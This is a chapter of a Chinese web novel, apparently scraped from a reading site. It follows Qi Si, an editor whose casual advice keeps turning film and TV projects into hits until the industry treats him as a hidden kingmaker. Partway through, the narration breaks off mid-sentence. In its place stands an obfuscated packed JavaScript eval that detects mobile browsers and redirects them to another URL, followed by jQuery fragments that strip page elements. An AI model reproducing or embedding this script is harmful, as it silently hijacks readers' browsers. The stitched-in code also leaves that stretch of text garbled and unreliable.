……


    齐司完全不知道这些。


    他这几天最大的烦恼，是自己的下班时间越来越不稳定。


    原本他只是剪辑部的一个编外，按点上下班，偶尔被拉去帮忙看个样片、提个意见。现在，他走在公司走廊上，都会被人拦住。


    “齐老师，我有个剧本想请你帮忙看看，只要一页。”


    “齐司，你有空吗？我们新综艺想听听你的想法。”


    “齐哥，帮我看个角色设定，我总觉得不太对。”


    他每次都想说“不”，但对方总会加一句：“就一眼，随便提两句。”


    他随口提两句，项目就会自动往好的方向跑。


    有一次，一个刚签进公司的新人演员在化妆间门口堵住他，眼线画到一半，眼尾还贴着胶带：“齐哥，我明天要试镜一个女二，角色是那种表面大大咧咧、内心敏感的，你说我应该怎么演啊？”


    齐司正拿着一杯热水，准备回剪辑室。他不想浪费时间，随口说：“你别演‘大大咧咧’，你就演一个努力装大大咧咧的人。”


    新人愣住：“啊？”


    “你平时说话是不是会想很多？”齐司问。


    “会。”新人点头。


    “那你就让观众看到你想很多，但角色在装没事。”齐司说，“比如别人开你玩笑，你笑得很大声，但眼睛别笑太多。台词说‘我无所谓’，手指却捏一下衣角。”


    新人一边点头一边在手机备忘录里飞快记：“眼睛别笑太多……捏衣角……”


    第二天，试镜现场。


    灯光打在新人脸上，摄影机架在正中，导演和制片人坐在监视器前。新人进场，笑得很灿烂，台词一出口，声音爽朗：“我无所谓啊。”


    但她说这句话的时候，眼睛里明显有一瞬间的闪躲，手指在衣角上轻轻一捏，又松开。那种“故作洒脱”的感觉一下子被捕捉到。


    导演看着监视器，眼睛一亮：“就是她。”


    新人当场定角。几个月后，这部剧播出，她这个女二凭借“装大大咧咧”的角色爆红，剪辑出来的高光片段在短视频平台上刷屏，大家都在模仿她那句“我无所谓啊”和那个捏衣角的小动作。


    娱乐新闻的标题是：【新晋小花演技自然，被业内大佬指点一语点醒。】配图里，她在采访里说：“当时有位前辈跟我说了一句‘你别演大大咧咧，你就演一个努力装大大咧咧的人’，我一下就懂了。”


    评论区里有人问：“这位前辈是谁？”下面有人回复：“好像是他们公司一个很神秘的老师，叫齐司。”


    ……


    导演们也开始主动围着他转。


    公司大会议室里，一个新项目的创意会正在进行。墙上贴满了角色设定图、场景草图，桌上摆着几台笔记本电脑，屏幕上是不同风格的参考片段。


    总导演正在讲解一个镜头设计：“这一场，我们想用长镜头，一镜到底，从后台走到台前，展现主角的心理变化。”


    制片人皱眉：“一镜到底风险太大了，演员状态要稳，技术也要跟上。”


    “我们可以多拍几条。”导演坚持。


    “你们问问齐司的意见。”坐在主位的公司高层突然说。


    齐司正坐在角落里，手边放着一杯已经凉了的咖啡，原本只是来帮忙放样片的。他被点名，只能抬头：“我？”


    “你觉得呢？”导演看着他，“一镜到底好，还是拆镜头好？”


    “你们预算多少？”齐司问。


    制片人报了一个数字。


    “那你们一镜到底，拍废一条就要多花多少钱？”齐司算了一下，“而且演员要演几遍同样的情绪，很难保持新鲜感。”


    导演有点不甘心：“可是长镜头很有气势。”


    “你可以假装一镜到底。”齐司说。


    会议室里安静了一下。


    “什么意思？”导演问。


    “你们可以拍成三段。”齐司说，“第一段从后台走到侧台，第二段从侧台走到台口，第三段是上台后的近景。中间用演员的背影、推轨过道具的特写、灯光切换做无缝衔接。观众看起来像是一镜到底，其实你们有三个缓冲点。”


    他指了指墙上的场景图：“比如这里，后台到侧台这段，你们可以让一个工作人员推着衣架从镜头前经过，顺着衣架的布料做一次遮挡切。再比如从侧台到台口，你们可以利用灯光暗下来的瞬间做一次切。”


    导演越听眼睛越亮：“对，这样既有一镜到底的感觉，又不用承担那么大风险。”


    制片人也松了口气：“成本也可控。”


    “那你帮我们把这场戏的分镜大概画一下？”导演立刻把纸和笔推到他面前。


    “我不是分镜师。”齐司说。


    “你随便画，我们让分镜师细化。”导演笑得很诚恳，“就当是……你路过一下。”


    齐司看了眼时间，知道自己今天又别想准点下班了。他拿起笔，在纸上随手画了几个机位移动的箭头，标了几个“遮挡切”“灯光切”的点。


    这场戏后来拍出来，剪辑师照着他的分镜把三个段落无缝拼接，观众在弹幕里刷屏：“这长镜头太牛了吧！”“一镜到底好有代入感！”


    幕后花絮里，导演在访谈中说：“这场戏的设计，多亏了我们团队里一位很重要的人，他总能在关键时候给出一个特别精准的建议。”


    主持人问：“是谁？”


    导演笑着说：“他不喜欢出镜，就不提名字了。”


    网友们自动脑补出一个“神秘幕后大佬”的形象，论坛里有人发帖：【业内传闻：某公司有个隐形庄家，参与哪个项目哪个项目就火。】


    楼里有人回复：“你说的是不是那个叫齐什么的？”


    “齐司。”另一个ID很肯定，“我朋友在平台，说现在他们那边有个隐藏规则：只要项目里出现他名字，优先级直接+3。”


    “真的假的？”


    “你去看最近几个爆款，多少都有他挂名。”


    ……


    资本的嗅觉一向敏锐。


    某头部视频平台的高层会议上，内容总监把一份名单摊在桌上：“这是我们接下来半年要重点争取的核心资源：一线导演、头部编剧、顶流艺人，还有——”


    他停顿了一下，指向最后一行。


    【特别资源：齐司（参与形式不限）。】


    “我们要想办法，把他签成平台顾问。”内容总监说，“哪怕只是挂名。”


    商务部的人苦笑：“我们已经去谈过了，他本人好像完全不在意这些。”


    “那就从项目入手。”高层拍板，“我们把最好的项目都给他挑，先让他参与，再慢慢谈。”


    于是，齐司的邮箱里，开始疯狂涌入各种项目邀请：剧本、综艺企划、电影大纲、纪录片方案，甚至还有一个偶像选秀的全案。


    每一封邮件的措辞都惊人一致：“希望您能以任何形式参与（顾问/剪辑/脚本/挂名均可）。”


    他看着那一长串未读邮件，只觉得头疼。


    “我只是想按点下班。”他对着屏幕小声说。


    可外面的世界，已经默认他是“隐形庄家”。


    舆论也在自动站在他这边。


    某次，一个项目因为档期问题被迫调整，网友在网上骂平台“乱排期”。有人扒出这个项目的幕后名单，发现上面有“特别鸣谢：齐司”几个字，立刻有人发帖：“别骂了，这项目有齐司，肯定不会差。”


    评论区里，原本的骂声渐渐被好奇取代：“那就等等看吧。”“有他在，我愿意给机会。”


    另一次，一个艺人在采访里提到：“我能拿到这个角色，多亏了齐老师给我提的一个建议。”记者追问“齐老师是谁”，艺人笑着说：“我们公司的一个前辈，他不喜欢出镜。”


    第二天，热搜上出现了一个话题：#神秘齐老师是谁#。有人翻出各种蛛丝马迹，把不同项目里的“特别鸣谢”“内容顾问”“Q.S.”连成一条线，最后指向同一个名字——齐司。


    “他是不是在操盘整个行业？”有营销号发长文分析，配上各种数据曲线、项目时间线、热度对比图，结论是：“齐司，可能是当下娱乐产业背后最重要的隐形推手之一。”


    评论区里，有人质疑：“你们想多了吧，人家可能只是运气好。”


    但很快，就有人贴出更多证据：某综艺的爆款剪辑点、某剧的经典台词、某电影的逆袭宣发，全都能在幕后名单里找到他的名字。


    “这已经不是运气了，这是体质。”有人说，“风口自动往他那儿跑。”


    行业内逐渐形成一个共识：只要齐司参与，项目就一定成。


    于是，导演们在拉投资时，会顺带提一句：“我们争取到了齐司的顾问。”制片人在跟平台谈排期时，会强调：“这个项目有齐司参与。”资本在内部评估项目时，会问：“他在不在？”


    齐司本人，对这一切一无所知。


    他每天照旧在剪辑室里对着时间线拉拉扯扯，偶尔被叫去会议室提两句意见，或者被某个演员堵在走廊上问角色。他唯一明显感觉到的变化，是自己的工位旁边多了一把椅子，几乎从来不空着——总有人坐在那里，拿着本子，等他“随口说两句”。


    他想低调，想当个编外小助理，想准点下班。


    但在所有项目的流程图里，他已经被默认为“隐藏最大作用的人”。


    数据面板上的曲线、热搜页面上的话题、会议室里的决策权重、艺人口中的“齐老师”，一层一层，把他推到了一个他从未打算去的位置——


    隐形庄家，掌控行业趋势。


    而他，只是在某个加班的夜里，揉了揉酸胀的眼睛，看了眼时间，心里默默算着：


    “再剪完这一条，我就走。”


    剪完那一条，时间线上的小方块对齐到整点，监视器里最后一帧停在演员的半侧脸上，眼神刚好落在虚焦的灯光里。


    齐司按下保存，起身伸懒腰。


    门被人从外面推开，走廊的冷白灯一下子灌进来，带着外面还没散尽的烟味和咖啡味。


    “齐老师。”是编剧组的小姑娘，抱着一摞打印好的纸，眼下青黑，“能不能帮我看一页？就一页，导演说明天要拍，我总觉得哪儿不对劲……”


    她把纸摊在剪辑台上，是一场对手戏，男女主在雨夜吵架，台词密密麻麻，标注着各种情绪提示：愤怒、崩溃、压抑。


    齐司只想回家，脑子里已经在盘算回去要不要点个外卖。


    “你们不是已经过了三轮桌读？”他随口问。


    “是过了，可是演员总演不出来，导演说戏不顺，今天又改了一版，我看着还是别扭……”小姑娘眼巴巴地看着他，工位旁那把椅子已经被她自觉拉过来坐下。


    齐司叹了口气，拿起红笔，随手圈了几句。


    “这段太满了。”他指着一整行的情绪宣泄，“你让他别解释那么多，删掉三分之二，只留一句‘你从来没问过我想要什么’。”


    他又在女主那边划掉一串“我为了你放弃了什么什么”，只留了一个“那你有问过吗”。


    “雨夜嘛，声音会被打散，台词别太长，留点空白给表情。”他把两句台词的位置往前挪了两行，“你把这句提前，让男主在她转身之前说出来，打断她动作，情绪会更自然。”


    他写了几个箭头，改了两个标点，把一页纸弄得乱七八糟。


    “就这样吧。”他把笔一丢，“我真得走了。”


    小姑娘抱着那一页纸，眼睛亮得跟捡到宝似的：“谢谢齐老师！”


    第二天，雨夜那场戏在棚里搭景。二十多个灯架把人造雨打成一层银灰色的帘子，顶光压下来，演员脸上被雨水和高光混成一片。收音师在监视器旁边皱着眉，担心雨声盖过台词。


    导演坐在监视器前，眼下同样青黑，手里捏着那一页被红笔改得面目全非的剧本。


    “按这版来？”副导有点犹豫。


    “按这版。”导演咬了咬牙，“齐司改的。”


    “那没问题。”副导立刻换了口气，像是拿到了某种免死金牌。


    机位架在轨道上，摄影机从雨帘外缓缓推进，镜头前的水珠一颗颗砸在镜头罩上，形成一圈虚焦的光晕。


    “Action！”


    男主站在雨里，浑身湿透，呼吸发抖。女主背对着他，撑着伞，伞檐被雨打得啪啪作响。


    原本那一大段“你知不知道我为了你怎么样怎么样”的控诉不见了，只剩下几句短短的对话。


    女主：“那你以后就当没认识过我。”


    她刚要迈步，男主那句被提前的台词，硬生生插进了她的动作里。


    “你从来没问过我想要什么。”


    雨声一下子像被压低了，收音师手指在推子上微微一顿。


    女主停住，背影僵了一下。


    镜头从男主脸上掠过，捕捉到他眼里那一瞬间的空白——不是愤怒，是突然意识到什么的茫然。


    女主缓缓回头，眼睛里全是水，分不清是雨还是泪。


    “那你有问过吗。”


    两句台词，之间隔着一秒的雨声。


    导演在监视器前猛地坐直，原本准备喊停的手举到一半，顿住了。


    这段戏拍完，棚里的雨停，灯光一点点被关掉，刚才那两句台词已经被现场反复低声复述了好几遍。收音师回放了一遍原声，雨声下的那两句，清晰得像是直接说在耳边。


    “这台词谁改的？”男主裹着毛巾，嘴里还在念叨，“太顺了，刚好卡在那个点上，情绪就上来了。”


    “齐老师。”编剧组的小姑娘骄傲地说。


    那两句台词当天晚上就被剪成粗剪样片，放进内部群里。有人顺手截了个十几秒的小视频，发到一个只有业内人的小号上，配文：“雨夜吵架戏，台词改了两句，整场都活了。”


    视频被转发到几个营销号的私群里，剪辑师们一看那两句台词前后留的空白，立刻嗅到了“二创空间”的味道——可以加BGM，可以做情绪向，可以做CP向，可以做反转解读。


    不到两天，“你从来没问过我想要什么”“那你有问过吗”这两句，成了各个平台的热评常驻。情感博主拿它写长文，短视频博主拿它配各种情侣吵架、职场对线、亲子矛盾，弹幕里刷屏的全是这两句。


    话题词自动爬上热搜榜单，数据曲线在后台像被人拉了一把，陡然上扬。


    而齐司，完全不知道这两句台词已经成了“年度情绪金句”。


    他那天晚上回到剪辑室，刚坐下准备继续拉时间线，监视器突然一黑，时间线上的画面开始跳帧，像被人用剪刀随意剪断又粘上。


    “又卡机？”他皱眉，敲了两下键盘，软件弹出一串错误代码。


    隔壁机位的技术员探头：“服务器那边今天有点不稳，刚刚还好好的，你这机子怎么又先出问题？”


    监视器上的画面一会儿过曝，一会儿发灰，演员脸上要么被打成一片惨白，要么陷进阴影里。那是他们刚拍完不久的一场夜戏，街景灯箱五颜六色，霓虹反光在地面上拉出一条条色带。


    导演急匆匆赶过来：“这场夜戏明天要给平台看样片，你要是现在崩了，我这边就得跪着解释。”


    技术员一边重启一边冒汗：“我尽量抢救……”


    齐司看了眼时间，离他心里设定的“下班线”只剩二十分钟。


    “让一让。”他把技术员挤开，手指在键盘上飞快敲了几下，直接跳过了软件的自动修复，调出底层缓存。


    他随手把跳帧的那一段拉出来，拖到旁边的轨道上，重新对齐时间码，又把过曝的部分调出波形图，眼睛在那一串起伏的曲线上扫了一眼。


    “你这机位当时ISO开太高了。”他随口说，“街灯已经够亮了，后期一推就全死白。”


    他把曝光曲线往下压了一点，又在Gamma上轻轻提了一截，原本惨白的脸上渐渐浮出一点血色，霓虹灯的颜色也从刺眼的荧光变成了柔和的蓝紫。


    跳帧的地方，他干脆删掉了几帧，把前后两个镜头硬切在一起，又在中间加了一个极短的街景空镜——路边便利店的灯箱，门口晃过一个骑电动车的人影。


    “这样切？”技术员有点不确定。


    “夜戏嘛，节奏快一点。”齐司眼睛盯着时间线，“你把这段当成呼吸点，观众眼睛在这里眨一下，后面那句台词就更重。”


    他按下空格键，画面开始播放。


    男主站在街角，背后是一整面LED广告屏，蓝色的光把他的侧脸勾出一条冷线。原本跳帧的地方，现在被那一秒的街景空镜接了起来——便利店的灯箱，电动车的尾灯划过，霓虹在雨后湿漉漉的地面上晃动。


    空镜一闪而过，画面切回男主，眼神刚好抬起，对上镜头。


    “我以为你会回来。”


    那一句台词落在刚刚那一秒的空白之后，像是从街景的喧闹里被抽出来，突然变得格外安静。


    导演在监视器前看着回放，整个人往前倾了倾。


    “再放一遍。”他盯着那一秒的空镜，“刚刚那个……怎么来的？”


    “跳帧那段删了，空镜是前面拍的素材。”齐司说，“随便塞了一下。”


    导演盯着那一秒街景，灯箱、尾灯、湿地面，所有的光线在那一秒里交织在一起，像是一种说不清的“城市孤独感”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939321|192918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “这镜头可以进预告。”他喃喃道，“甚至可以做海报。”


    第二天，平台看片会。


    会议室里灯光压得很低，长桌一侧坐着平台内容部、市场部的人，另一侧是制片方和导演。投影幕布上播放着刚剪好的样片，数据分析师在旁边的笔记本上实时记录观众反应点——哪一秒有人笑，哪一秒有人发出“哇”的声音。


    夜戏那一段一出来，会议室里原本有点散的注意力一下子被拉回去。


    便利店灯箱、电动车尾灯、湿地面霓虹，空镜一闪而过，男主那句“我以为你会回来”接上。


    市场部的负责人下意识往前坐了坐：“这个镜头好。”


    内容部的总监眼睛一亮：“这可以做主视觉，城市情绪感很强。”


    数据分析师的屏幕上，观众心率曲线在那一秒出现了一个小小的波峰。


    看片会结束，平台当场拍板：加大宣发预算，夜戏那一段剪进首支预告，重点推那一秒空镜和那句台词。


    预告上线，剪辑节奏紧凑，音乐在那一秒空镜处突然抽空，只剩下街景的环境音，男主那句“我以为你会回来”被拉成了预告的收尾。


    弹幕刷屏：“这镜头好有感觉”“谁剪的”“这台词好戳”。


    营销号开始写长文解析那一秒空镜的“意象”，有人说是“都市人内心的孤独”，有人说是“等待与错过的具象化”，甚至还有影评人专门截了那一帧，写了两千字的分析。


    而这一切，只是因为齐司在卡机的时候，随手按了两下设备，顺手塞了一秒空镜。


    类似的事情，在他身上开始高频发生。


    有一次，他被制片人临时叫去隔壁楼的会议室，说是“帮忙看个项目资料”。


    会议室里一整面墙都是PPT投影，项目名称写在最上方——一部早就被业内判了“死刑”的烂尾网剧，投资方换了两轮，导演走了一个，主演换了两个，拍了三分之一就停机，平台已经准备做减值处理。


    “我们现在想把它剪成短剧，看看能不能捞回点钱。”制片人苦着脸，“你帮忙看一下素材，给个建议。”


    齐司翻了翻资料，发现这剧的世界观设定其实不差，只是拍得乱七八糟，节奏拖沓，演员表演浮夸。


    “你们要剪短剧？”他问。


    “对，竖屏，单集两三分钟那种。”平台的人在旁边补充，“现在短剧赛道还行，反正素材都拍了，剪剪看。”


    “那你们就别按原剧本走了。”齐司随口说，“把所有反转点往前提，把情绪爆点堆在前三集，后面再慢慢补设定。”


    他拿起笔，在白板上画了一个简单的结构图：第一集直接从男女主分手开始，第二集揭示分手原因的一半，第三集给出一个反转钩子，后面每一集都留一个“悬念问号”。


    “你们之前拍的那些日常戏，能丢就丢。”他指着素材清单，“观众现在没耐心看铺垫，先把爽点给出来。”


    平台的人一边记一边点头：“那你能不能……帮我们标一下爆点在哪？”


    齐司看了眼时间，离下班还有十分钟。


    “我大概标一下，你们自己细化。”他在素材列表上勾勾画画，把几个吵架、分手、车祸、重逢的场景圈出来，又在旁边写了几个字：“预告用”“封面用”“投流用”。


    “这些场景，你们做成单独的短视频，先在平台上试水，看数据再决定主推哪条线。”


    他话说完，收拾东西准备走。


    制片人和平台的人却像捧着圣旨一样捧着那几页被他画得乱七八糟的纸。


    “齐老师，这个项目……能不能挂你个名字？顾问也行，随便写。”


    “别。”齐司头也不回，“我就是路过。”


    那部烂尾网剧，后来被剪成了二十多集的竖屏短剧，按他画的结构重组剧情，所有爆点前置，情绪拉满。平台给了一个并不算高的投流预算，结果上线三天，完播率、转化率、评论互动率全线超预期。


    数据后台的曲线像被人一把拎起来，直线往上冲。原本准备做减值处理的项目，突然成了平台当月的现金牛。


    “这剧谁操盘的？”投资方在复盘会上问。


    “齐司。”制片人脱口而出。


    “他不是剪辑吗？”


    “他那天路过会议室，帮我们画了两页结构图。”平台的人补充。


    投资方沉默了一秒，打开手机，给助理发消息：“把齐司的联系方式发我。”


    类似的消息，在那几天里密集地出现在各种投资人的手机里。


    “听说你们那个烂尾项目是齐司救回来的？”


    “他是不是对短剧赛道有特别敏锐的嗅觉？”


    “我们这边有个项目也快烂尾了，要不要请他来看看？”


    资本开始误判——或者说，他们只能用“风口捕捉体质”来解释这一连串的巧合。


    于是，各种项目资料开始自动往齐司的邮箱里堆：院线片的企划案、综艺的初步方案、短剧的分集大纲、纪录片的样片。


    制片人、导演、投资人轮流出现在剪辑室门口，工位旁那把椅子从来没空过，有时候甚至多出两把，三个人轮流坐，手里都拿着各自的项目本子。


    “齐老师，你帮我看一下这个角色设定——”


    “齐老师，我们这个综艺的赛制是不是太复杂了？”


    “齐老师，这个项目要不要上星？还是直接给平台？”


    齐司一边拉时间线，一边被迫听他们在耳边叽叽喳喳。


    “你们别叫我老师。”他头也不抬，“我就是个剪辑。”


    但在会议室里，在投资决策的PPT上，他的名字已经被默认为“项目成功率关键变量”。


    某个大资本的内部风控模型里，甚至多了一项隐形指标：项目参与人员名单中是否包含“齐司”。如果有，这一栏的风险系数自动下调，预期收益自动上调。


    于是，钱开始排队往他所在的项目上砸。


    有综艺总导演在深夜给他发微信：“你要不要来我们节目挂个‘剪辑顾问’？不干活也行，就挂个名。”


    有电影制片人当面说：“你就来片场待两天，随便走走看看，我们就放心了。”


    有平台高层在内部会上拍板：“只要齐司参与，我们就给S级资源。”


    舆论也在自动往他这边偏。


    有一次，某个项目因为档期调整，被骂“空降”“压小成本片”。粉丝撕来撕去，话题一度冲上热搜前五。


    有人翻出主创名单，发现剪辑顾问一栏写着“齐司”。


    “等等，这不是那个齐老师吗？”


    “他在的话，项目应该不会太差吧？”


    “之前他参与的几个项目都不错，先观望一下？”


    原本一边倒的骂声开始出现犹豫，情绪曲线在数据后台慢慢回落。营销号顺势发文：“业内隐形庄家齐司再出手，这次能否逆风翻盘？”


    齐司看到这篇文章，是在某个凌晨三点的剪辑室里。


    他只是想查一下素材编号，结果热搜页面自动弹出，醒目的标题挂在榜单上：“隐形庄家齐司：他参与的项目，从未失手。”


    下面配了一张他在片场背影的偷拍照——灯光打在他身上，他正低头看监视器，旁边一圈导演、演员、制片人围着他，表情各异，却都带着某种同样的期待。


    评论区里有人说他是“风口捕捉器”，有人说他是“行业风向标”，还有人说他是“资本最信任的人”。


    齐司看了两眼，关掉页面，揉了揉眼睛。


    “乱写。”他嘟囔了一句，重新把注意力放回时间线。


    他只想把眼前这条剪完，下班回家。


    可在他不知道的地方，各种项目的流程图上，他的名字被一遍遍地加上去：顾问、剪辑指导、创意统筹、特别鸣谢。


    行业内部逐渐形成一个共识——甚至不需要谁明确说出口，只是所有人心照不宣地默认：


    只要齐司参与，项目就一定成。


    于是，所有人都开始围着他转。


    导演们在开机前先问一句：“这次能不能请到齐司？”


    制片人在预算表上专门空出一栏：“齐司参与成本”。


    平台在排播表上给他参与的项目预留黄金档。


    投资人在项目路演上，把“齐司参与”当成最有力的说服点。


    而齐司，每天照旧在剪辑室里，对着时间线拉拉扯扯，偶尔被叫去会议室提两句意见，或者被某个演员堵在走廊上问角色。


    他唯一在意的，仍然是电脑右下角的时间。


    “再剪完这一条，我就走。”


    他心里默默算着。